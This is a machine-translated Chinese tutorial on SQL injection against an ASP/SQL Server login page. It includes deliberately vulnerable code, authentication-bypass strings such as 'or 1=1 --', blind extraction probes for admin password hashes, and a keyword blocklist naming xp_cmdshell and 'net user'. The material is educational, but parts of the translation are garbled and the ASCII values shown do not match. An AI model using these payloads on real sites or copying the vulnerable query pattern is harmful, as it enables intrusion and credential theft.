Exploration of SQL Injection

Source: Internet
Author: User
Tags simple sql injection sql injection attack sql injection prevention

1) Preface
Ii) Hazards of SQL Injection
3) write and inject vulnerabilities by yourself
4) use the popular Injection Method
5) practical injection drills
6) repair and end



I :)

Today, various portal forums use dynamic languages such as php asp. NET, as long as there is a program-to-human interaction design, it will involve the database, which will also be the potential existence security discussed in the next chapter. Structured Query Language (Structured Query Language) is a database Query and programming Language used to access data and Query, update, and manage relational database systems. It is also the extension of the database script file.

This article is not to let everyone say goodbye to the php asp language, but to let readers, whether programmers or friends engaged in network security, wake up the alarm, although this potential security is already very old, however, it is necessary to pay attention to the security of webmasters and the privacy of users. The highlight of this article is that you can write an existing injection program to practice it and understand the whole process.



II :)

SQL Injection, as early as 1997, the foreign computer communication magazine has revealed the weakness of SQL injection (feeling the gap between China's Internet and foreign countries ). Through PHP, ASP, and other programs, attackers can attack and destroy various SQL databases (such as MSSQL, MySQL, Oracle, and DB2 ). In recent years, major open-source well-known Forum programs have been found to have serious vulnerabilities. I have also tested some websites based on the officially announced vulnerabilities. SQL injection is to insert SQL commands into Web forms to submit or input query strings for domain names or page requests, and finally fool the server to execute malicious SQL commands, for example, most of the previous VIP member passwords leaked by many video websites are exposed by submitting query characters through WEB forms. Such forms are particularly vulnerable to SQL injection attacks. If a website has SQL injection, the harm is undoubtedly huge. Do you dare to guess the password in the field?

A long time ago, when I first came into contact with SQL injection, there were not so many articles on SQL Injection on the Internet and in the book. Even if there were some articles, I simply did not go deep and did not explain the dangers, it does not teach you how to fix this vulnerability. Instead, it is reprinted. So far, I want to write another article about SQL injection, so that I don't understand it. I have a deep understanding, understanding, and understanding of the common SQL injection.




3 :)

First, debug the environment: Windows 2000 + IIS 5.0 + SQL 2000 + ASP

1. SQL database connection-Environment setup

<%
Set conn = server. CreateObject ("ADODB. Connection ")
Connstr = "DRIVER = {SQLServer}; server = 127.0.0.1;
UID = test; Password = FF0000"
Conn. open connstr

Set rs = server. CreateObject ("ADODB. Recordset ")
Rs. Open "login", conn
%>

Alien: Here, login is a self-created table. Because the database is not specified in the connstr string of the second row, it is the default database of this login account after the login table is created, please grant all permissions to guest in the attribute permissions (although setting 777 is not safe, it is not considered for the convenience of environment and test ~), If this parameter is not set, the following table operations cannot be performed.

2. Basic operations on tables in the database (the premise is that the above conditions are true)

Response. Write "total records" & rs. Fields. count & "field" // display the total number of Fields
For I = 0 to rs. Fields. count-1
Response. Write "<TD>" & rs (I). Name & "</TD>" // print all field names
Next

Rs. MoveFirst // print all records below
While not rs. EOF
Row = "<tr bgcolor = # ffff00>"
For I = 0 to rs. Fields. count-1
Row = row & "<TD>" & rs (I) & "</td>"
Next
Response. Write row & "</tr>"
Rs. MoveNext
Wend

Rs. Find = "phone = 1114213908" // here is the search
If rs. EOF thenResponse. Write "No such name"
ElseResponse. Write "found"





The following shows how to execute SQL statements on an ASP Webpage:

(1) No data set is returned.
Sqlstate = request ("SQL _state ")
If sqlstate <> empty then
Set conn = server. CreateObject ("ADODB. Connection ")
Connstr = "Driver = {SQL server}; server = 127.0.0.1; UID = test; Password = FF0000"
Conn. Open connstr

Set cmdobj = server. CreateObject ("ADODB. Command ")
Set cmdobj. ActiveConnection = conn
Cmdobj. CommandText = sqlstate
Cmdobj. Execute


(2) return the dataset

Method 1:

SQL = request ("SQL ")
If SQL <> empty then
Set conn = server. CreateObject ("adodb. connection ")
Connstr = "driver = {SQL server}; server = 127.0.0.1; uid = test; password = FF0000"
Conn. Open connstr
Set rs = conn. Execute (SQL)

In this case, rs is equivalent to the previous RecordSet object and can perform corresponding operations.

Method 2:

SQL = request ("SQL ")
If SQL <> empty then
Set conn = server. CreateObject ("adodb. connection ")
Connstr = "driver = {SQL server}; server = 127.0.0.1; uid = test; password = FF0000"
Conn. Open connstr

Set rs = server. CreateObject ("adodb. recordset ")
Rs. Open SQL, conn

Note: The SQL statements here refer to SQL statements. SQL statements can only be enclosed in single quotes, but cannot be enclosed in double quotes.






3. Design a vulnerable ASP program. The login table we created is as follows:

Username Password Money

Alien 123456 1000
FF0000 654321 1500

Design a login interface login.htm:

<HTML>
<HEAD>
<Meta name = "GENERATOR" Content = "Microsoft Visual Studio 6.0">
<TITLE> evil Red | www. ff2.16.cc demo injection </TITLE>
</HEAD>
<BODY>

<Center>
<Form method = post action = "check. asp">

<P>
<Center> This is an SQL injection program. </center>
<P>

UserName:
<Input type = "text" name = username>
<P> Password:
<Input type = "password" name = password>
<P>
<Input type = "submit" value = "submit">
</Form>
</Center>
</BODY>
</HTML>

This is the logon interface. Now we have finished writing the check. asp page for detection.

The following is the check. asp code. Let's take a closer look and have a good understanding:

<% @ Language = VBScript %>
<HTML>
<HEAD>
<Meta name = "GENERATOR" Content = "Microsoft Visual Studio 6.0">
</HEAD>

<BODY>
<%
Dim strUserName, strPassword, strConn, strSql
StrUserName = trim (request ("username "))
StrPassword = trim (request ("password "))
If strUserName = "" then
Response. Write "<body> <p> <center> the user name cannot be blank! </Center> </p> </body>"
Response. End
End if
If strPassword = "" then
Response. Write "<body> <p> <center> the password cannot be blank! </Center> </p> </body>"
Response. End
End if

Set conn = server. CreateObject ("ADODB. Connection ")
StrConn = "driver = {SQL server}; server = 127.0.0.1; uid = test; password = FF0000"
Conn. Open strConn
StrSql = "select * from login where
Username = "& trim (strUserName) &" and password = "& trim (strPassword )&""

Set rs = server. CreateObject ("ADODB. RecordSet ")

Rs. Open strSql, conn, 1, 3
If not rs. EOF then
Response. Write "<center> OK. The verification succeeds! </Center>"
Else
Response. Write "<center> NO. The password is incorrect or this user does not exist! </Center>"
End if

%>
</BODY>
</HTML>

After saving the file, put the virtual directory you have set up to start.

User name: alien password: 123456 is verified
Username: alien password: 123456789 incorrect password or this user does not exist

The following is a simple SQL Injection Attack:

(1) try to enter the User name: alien "-- password: (you can enter the password here)
Test by yourself. Have you seen the result? Surprised. It was verified !!
The following code is analyzed:

StrUserName = trim (request ("username "))
StrPassword = trim (request ("password "))

Obtained in login.htm.
StrSql = "select * from login where
Username = "& trim (strUserName) &" and password = "& trim (strPassword )&""

Note that this is the key to the vulnerability: Suppose we enter the correct Username: alien and password: 123456

This statement is equivalent:

StrSql = "select * from login where username = isml and password = '000000 '"
Rs. run Open strSql, conn, and search in the login table. If such an item is met, rs points to this record, so not rs is not satisfied. eof, so the output "Login successful through verification ". Otherwise, if at least one of the two items does not meet the requirements, the "Password error or this user does not exist" will be output ".

Enter the username alien' -- password: shelenb (also arbitrary:

StrSql = "select * from login where username = 'alien' -- 'and password = 'shelenb '"
Note: -- is a comment in an SQL statement.

Therefore, the statement is equivalent to: strSql = "select * from login where username = 'alien '"
Obviously, as long as we know that there is an alien user, we can log in without the password. // Surprise!

(2) try to enter username: Alienn (this is also arbitrary) password: 110 '1 = 1 or-(password 110 arbitrary)
This user is not registered at all and should return "the password is incorrect or the user does not exist ".
However, the result is: "successful login through verification"

Analysis: strSql = "select * from login where username = 'aliyun' and password = '000000' or 1 = 1 -- '" Have you seen this? Obviously, the condition does not meet the username = 'aliyun' and password = '000000' item, but 1 = 1 is obviously true, so verification is passed.

(3) try to enter the username: 110 'or 1 = 1 -- password: 123 (same here). The result still passes verification. The reader uses Hacker's mind, think carefully about the cause.




4 :)

The above method is somewhat old and lengthy. Here we will talk about the simple and popular injection methods and statements.
It is easier for you to better understand from another layer. Of course, tools can also be tested. For example, there are many other tools such as Domain and D. Here we will let everyone understand the principle of injection, rather than being a script boy.

Check whether the website has been injected:
URL and 1 = 1; // normal page
URL and 1 = 2; // error page
The URL is localhost/news. asp? Id = 123 is similar to this, Localhost is a domain name, followed by ID =

Localhost/news. asp? Id = 123 and 1 = 1 returns normal
Localhost/news. asp? Id = 123 and 1 = 2 error returned
In this case, injection exists.

Check the website database type:
URL and (select count (*) from sysobjects)> 0; // return normal SQL server
URL and (select count (*) from msysobjects)> 0; // return normal Access

Guess the database table segment:
URL and exists (select * from admin) // admini is a self-replaced table segment.
Name of the database name to be guessed:
URL and (select count (username) from admin)> 0 // admin is the same as above, and username is the name of the name to be guessed
Length of the database column Name:
URL and (select top 1 len (username) from admin)> 0 // The value after the modification> 0 indicates the length of the guess.
Guess the content:
URL and (select top 1 asc (mid (username) from admin)> 0 // the content to be guessed must correspond to the ASCII table

5 :)

In practice, the reader can have a better understanding of SQL injection.
Here, we use the locally constructed white box as the injection object: localhost (the URL built locally)
Requirement: write code, and SQL Injection exists.
Objective: to guess the account name and password, and finally unlock the MD5 plaintext

First open the vulnerability page: localhost/news. asp? Id = 123
Enter the most classic and 1 = 1.1 = 2 to test.

Localhost/news. asp? Id = 123 and 1 = 1 // access, return to the normal page
Localhost/news. asp? Id = 123 and 1 = 2 // access, error page returned

If SQL Injection exists, check the database table.

Localhost/news. asp? Id = 123 and exists (select * from alien) // Access failed, this table does not exist
Localhost/news. asp? Id = 123 and exists (select * from admin) // The table is successfully accessed.

If the table is guessed, you can guess the columns in the table! In fact, it is a loop process. In fact, if you still can't guess the table segment for a long time, you can directly use a tool (Domain, d Shenma can) here just to let readers understand the principle of injection.

Localhost/news. asp? Id = 123 and (select count (password) from admin)> 0
The access is normal, and the column is guessed. If the length is greater than 0, we need to contact the exact number of digits.
Localhost/news. asp? Id = 123 and (select count (password) from admin)> 20
If an error is returned, that is, the length is too large, can we change it to equal or greater?

Localhost/news. asp? Id = 123 and (select count (password) from admin) = 16
The returned result is normal, that is, the password column length is 16. It should be a 16-bit MD5.
Then, according to the provided SQL Injection statement to guess what the MD5 content is, the process is very painful and tangled, So I skipped it directly.

Www.2cto.com/news. asp? Id = 123 and (select top 1 asc (mid (password) from admin)> 0
That is, the above Link format. The 1, 1 after the password is modified is the row and column used to guess the length.
Finally, the obtained length is as follows:

55 97 53 55 97 97 55 34 33 56 39 52 61 30 65

The above is the corresponding ASCII code. Let's take a look at the characters corresponding to these values against the ASCII code table, that is, the final MD5.

MD5: 7a57a5a743894a0e

Then copy the MD5 File above, log on to the site that cracked the MD5 file, and crack it. Finally, the following result is obtained: admin
That is, the content of the password column in the cracked admin table is: admin
Then, the Administrator account or other content to be guessed is cyclically obtained.

This practice ended here and we have achieved our goal, that is, to guess the account and password.
For a brief review of the above content, consider why? There will be new discoveries!

6 :)

As we have learned from the above, how can we fix the dangers of SQL injection? What is a good way to effectively prevent SQL injection? That is to strengthen the security process in website development. Some people say they want to use hardware, but what hardware do you use? DDOS firewall? Arpfirewall? Virus firewall? Although SQL Injection prevention tools have been developed, what do readers think about the functions? How is practicality?
The most practical method is to enhance code security during website development and prevent the occurrence of a vulnerability similar to SQL injection.

1. Script filtering layer. Use the magic_quotes_gpc option of Php. ini. During the development process, the addslashes function, intval function, htmlspecialchars function, and htmlentities function are used wherever user input is required. The javascript anti-injection vulnerability filtering function and PHP anti-injection vulnerability filtering function are added.

2. Data Filtering layer (strengthen anti-injection measures for databases ). When you connect a website to a database (connection pool), you can use normal permissions. Do not use the account of a Super User or database owner. Strictly check the type and format of the submitted data to ensure that the data type meets the requirements. For example, use the mysql database system function isnumberic () to determine whether the value uploaded to the database is a number. In addition, try to use sssl or ssh when connecting to the database.

To sum up, the defense against SQL injection is to pay attention to the security when writing code, so we should not only seek efficiency, but not security. Below is an example of a web page (ASP, if SQL Injection exists in the above filter, we will fix it. Here we write an ASP function for your reference:


Function SafeRequest (ParaName)
Dim ParaValue
ParaValue = Request (ParaName)
If IsNumeric (ParaValue) = True then
SafeRequest = ParaValue
Exit Function
ElseIf Instr (LCase (ParaValue), "select")> 0 or Instr (LCase (ParaValue), "insert")> 0

Or Instr (LCase (ParaValue), "delete from")> 0 or Instr (LCase (ParaValue), "count (")> 0

Or Instr (LCase (ParaValue), "drop table")> 0 or Instr (LCase (ParaValue), "update")> 0

Or Instr (LCase (ParaValue), "truncate")> 0 or Instr (LCase (ParaValue), "asc (")> 0

Or Instr (LCase (ParaValue), "mid (")> 0 or Instr (LCase (ParaValue), "char (")> 0

Or Instr (LCase (ParaValue), "xp_cmdshell")> 0 or Instr (LCase (ParaValue), "exec master")> 0

Or Instr (LCase (ParaValue), "net localgroup administrators")> 0

Or Instr (LCase (ParaValue), "and")> 0 or Instr (LCase (ParaValue), "net user")> 0

Or Instr (LCase (ParaValue), "or")> 0 then
Response. Write "<script language = 'javascript '>"
Response. Write "alert ('slot! Want to inject ?! '); "' Prompt information when illegal SQL injection is found
Response. Write "location. href = 'HTTP: // www. ff2.16.cc/';"' illegal SQL injection and Redirection URL found
Response. Write "<script>"
Response. end
Else
SafeRequest = ParaValue
End If
End function

Then replace your Request with the SafeRequest function.

Conclusion: I am going to see you again here. Let's review the previous content. Although it's long, is it boring? More results will be produced by self-driving Hacker thinking. For programmers, you should pay more attention to your code security. For ordinary readers, we should pay more attention to protecting our network data. More hands-on practices can give full play to the power of learning. practice is the only criterion for testing truth. Only hands-on practices can continue to improve!


Authorized red/red Information Security Organization

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.